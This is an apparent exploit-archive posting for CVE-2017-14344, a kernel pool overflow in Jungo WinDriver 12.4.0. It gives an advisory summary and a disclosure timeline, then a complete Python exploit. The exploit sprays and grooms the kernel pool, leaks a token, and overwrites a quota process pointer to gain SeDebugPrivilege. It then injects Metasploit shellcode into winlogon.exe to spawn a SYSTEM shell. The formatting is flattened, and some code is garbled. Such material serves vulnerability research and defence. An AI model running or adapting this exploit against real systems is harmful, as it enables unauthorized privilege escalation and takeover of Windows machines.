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Jungo DriverWizard WinDriver 12.4.0 Overflow

Posted on 13 September 2017

# -*- coding: utf-8 -*- """ Jungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability Download: File: WD1240.EXE Sha1: 3527cc974ec885166f0d96f6aedc8e542bb66cba Driver: windrvr1240.sys Sha1: 0f212075d86ef7e859c1941f8e5b9e7a6f2558ad CVE: CVE-2017-14344 Author: Steven Seeley (mr_me) of Source Incite Affected: <= v12.4.0 Thanks: @dronesec & @FuzzySec ! Summary: ======== This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of IOCTL 0x95382673 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel. Timeline: ========= 2017-08-22 a Verified and sent to Jungo via sales@/first@/security@/ 2017-08-25 a No response from Jungo and two bounced emails 2017-08-26 a Attempted a follow up with the vendor via website chat 2017-08-26 a No response via the website chat 2017-09-03 a Recieved an email from a Jungo representative stating that they are "looking into it" 2017-09-03 a Requested a timeframe for patch development and warned of possible 0day release 2017-09-06 a No response from Jungo 2017-09-06 a Public 0day release of advisory Exploitation: ============= This exploit uses a data only attack via the Quota Process Pointer Overwrite technique. We smash the token and dec a controlled address by 0x50 (size of the Mutant) to enable SeDebugPrivilege's. Then we inject code into a system process. References: =========== - - Example: ======== C:UsersuserDesktop>whoami debugeeuser C:UsersuserDesktop> --[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ] Steven Seeley (mr_me) of Source Incite (+) attacking WinDrvr1240 for a data only attack... (+) sprayed the pool! (+) made the pool holes! (+) leaked token 0xa15535a0 (+) triggering pool overflow... (+) allocating pool overflow input buffer (+) elevating privileges! (+) got a handle to winlogon! 0x2bd10 (+) allocated shellcode in winlogon @ 0xc0000 (+) WriteProcessMemory returned: 0x1 (+) RtlCreateUserThread returned: 0x0 (+) popped a SYSTEM shell! C:UsersuserDesktop> in another terminal... Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:Windowssystem32>whoami nt authoritysystem C:Windowssystem32> """ from ctypes import * from ctypes.wintypes import * import struct, sys, os, time, psutil from platform import release, architecture ntdll = windll.ntdll kernel32 = windll.kernel32 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 STATUS_SUCCESS = 0x0 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_INVALID_HANDLE = 0xC0000008 SystemExtendedHandleInformation = 64 class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR), ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", c_void_p), ("UniqueProcessId", ULONG), ("HandleValue", ULONG), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", ULONG), ("Reserved", ULONG), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22), ] class PROCESSENTRY32(Structure): _fields_ = [ ("dwSize", c_ulong), ("cntUsage", c_ulong), ("th32ProcessID", c_ulong), ("th32DefaultHeapID", c_int), ("th32ModuleID", c_ulong), ("cntThreads", c_ulong), ("th32ParentProcessID", c_ulong), ("pcPriClassBase", c_long), ("dwFlags", c_ulong), ("szExeFile", c_wchar * MAX_PATH) ] def signed_to_unsigned(signed): """ Convert signed to unsigned integer. """ unsigned, = struct.unpack ("L", struct.pack ("l", signed)) return unsigned def get_type_info(handle): """ Get the handle type information to find our sprayed objects. """ public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = signed_to_unsigned( ntdll.NtQueryObject( handle, 2, byref(public_object_type_information), size, None)) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: return None else: raise x_file_handles("NtQueryObject.2", hex (result)) def get_handles(): """ Return all the processes handles in the system at the time. Can be done from LI (Low Integrity) level on Windows 7 x86. """ system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) result = signed_to_unsigned(result) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def we_can_spray(): """ Spray the Kernel Pool with IoCompletionReserve and Event Objects. The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length. These are allocated from the Nonpaged kernel pool. """ handles = [] for i in range(0, 50000): handles.append(windll.kernel32.CreateMutexA(None, False, None)) # could do with some better validation if len(handles) > 0: return True return False def alloc_pool_overflow_buffer(base, input_size): """ Craft our special buffer to trigger the overflow. """ print "(+) allocating pool overflow input buffer" baseadd = c_int(base) size = c_int(input_size) input = struct.pack("<I", 0x0000001a) # size input += "x44" * 0x398 # offset to overflown chunks priv = token + 0x40 + 0x8 # Enabled # patch input += struct.pack("<I", 0x040a008c) # _POOL_HEADER input += struct.pack("<I", 0xe174754d) # _POOL_HEADER input += "x44" * 0x20 input += struct.pack("<I", 0x00000000) input += struct.pack("<I", 0x00000001) input += "x44" * 0x20 input += struct.pack("<I", 0x00000001) input += struct.pack("<I", 0x00000000) input += "x44" * 8 input += struct.pack("<I", 0x00000001) input += struct.pack("<I", 0x00000001) input += "x44" * 4 input += struct.pack("<I", 0x0008000e) input += struct.pack("<I", priv) # Quota Process Pointer Overwrite # filler input += "x43" * (input_size-len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff) return False written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written)) if write == 0: print "(-) error while writing our input buffer memory: %s" % write return False return True def we_can_trigger_the_pool_overflow(): """ This triggers the pool overflow vulnerability using a buffer of size 0x460. """ GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 DEVICE_NAME = "\\.\WinDrvr1240" dwReturn = c_ulong() driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) inputbuffer = 0x41414141 inputbuffer_size = 0x5000 outputbuffer_size = 0x5000 outputbuffer = 0x20000000 alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size) IoStatusBlock = c_ulong() if driver_handle: dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x95382673, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size) return True return False def we_can_make_pool_holes(): """ This makes the pool holes that will coalesce into a hole of size 0x460. """ global khandlesd, to_free mypid = os.getpid() khandlesd = {} to_free = [] # leak kernel handles for pid, handle, obj in get_handles(): # mixed object attack if pid == mypid and get_type_info(handle) == "Mutant": khandlesd[obj] = handle # Find holes and make our allocation holes = [] for obj in khandlesd.iterkeys(): # obj address is the handle address, but we want to allocation # address, so we just remove the size of the object header from it. alloc = obj - 0x30 # Get allocations at beginning of the page if (alloc & 0xfffff000) == alloc: bin = [] # object sizes Mutant_size = 0x50 # we use 0x10 since thats the left over freed chunk from filling the page offset = Mutant_size + 0x10 for i in range(offset, offset + (0xe * Mutant_size), Mutant_size): if (obj + i) in khandlesd: bin.append(khandlesd[obj + i]) # make sure it's contiguously allocated memory if len(tuple(bin)) == 0xe: # free the 2nd chunk only if (obj + i + (Mutant_size * 0x2)) in khandlesd: to_free.append(khandlesd[obj + i + (Mutant_size * 0x2)]) holes.append(tuple(bin)) # make the holes to fill for hole in holes: for handle in hole: kernel32.CloseHandle(handle) return True def we_can_leak_token(): """ Uses NtQuerySystemInformation to leak the token """ global token hProcess = HANDLE(windll.kernel32.GetCurrentProcess()) hToken = HANDLE() TOKEN_ALL_ACCESS = 0xf00ff windll.advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)) for pid, handle, obj in get_handles(): if pid==os.getpid() and get_type_info(handle) == "Token": token = obj return True return False def trigger_lpe(): """ This function frees the IoCompletionReserve objects and this triggers the registered aexit, which is our controlled pointer to OkayToCloseProcedure. """ # free the corrupted chunk to trigger OkayToCloseProcedure # we dont know where the free chunk is, we just know its in one of the pages # full of Mutants and that its the 2nd chunk after the overflowed buffer. for v in to_free: kernel32.CloseHandle(v) def get_winlogin_pid(): for proc in psutil.process_iter(): # choose whateva system process if == "winlogon.exe": return return 0 def we_can_inject(): page_rwx_value = 0x40 process_all = 0x1F0FFF memcommit = 0x00001000 process_handle = windll.kernel32.OpenProcess(process_all, False, get_winlogin_pid()) # WinLogin if process_handle == 0: return False print "(+) got a handle to winlogon! 0x%x" % process_handle # metasploit EXITFUNC=Thread buf = "" buf += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b" buf += "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7" buf += "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf" buf += "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c" buf += "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01" buf += "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31" buf += "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d" buf += "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66" buf += "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0" buf += "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f" buf += "x5fx5ax8bx12xebx8dx5dx6ax01x8dx85xb2x00" buf += "x00x00x50x68x31x8bx6fx87xffxd5xbbxe0x1d" buf += "x2ax0ax68xa6x95xbdx9dxffxd5x3cx06x7cx0a" buf += "x80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53" buf += "xffxd5x63x6dx64x2ex65x78x65x00" shellcode_length = len(buf) hThread = HANDLE() memory_allocation_variable = windll.kernel32.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) print "(+) allocated shellcode in winlogon @ 0x%x" % memory_allocation_variable res = windll.kernel32.WriteProcessMemory(process_handle, memory_allocation_variable, buf, shellcode_length, 0) print "(+) WriteProcessMemory returned: 0x%x" % res res = windll.ntdll.RtlCreateUserThread(process_handle, None, 0, 0, 0, 0, memory_allocation_variable, 0, byref(hThread), 0) print "(+) RtlCreateUserThread returned: 0x%x" % res return True def main(): print " --[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]" print " Steven Seeley (mr_me) of Source Incite " if release() != "7" or architecture()[0] != "32bit": print "(-) although this exploit may work on this system," print " it was only designed for Windows 7 x86." sys.exit(-1) print "(+) attacking WinDrvr1240 for a data only attack..." if we_can_spray(): print "(+) sprayed the pool!" if we_can_make_pool_holes(): print "(+) made the pool holes!" if we_can_leak_token(): print "(+) leaked token 0x%x" % token print "(+) triggering pool overflow..." if we_can_trigger_the_pool_overflow(): print "(+) elevating privileges!" trigger_lpe() if we_can_inject(): print "(+) popped a SYSTEM shell!" if __name__ == '__main__': main()



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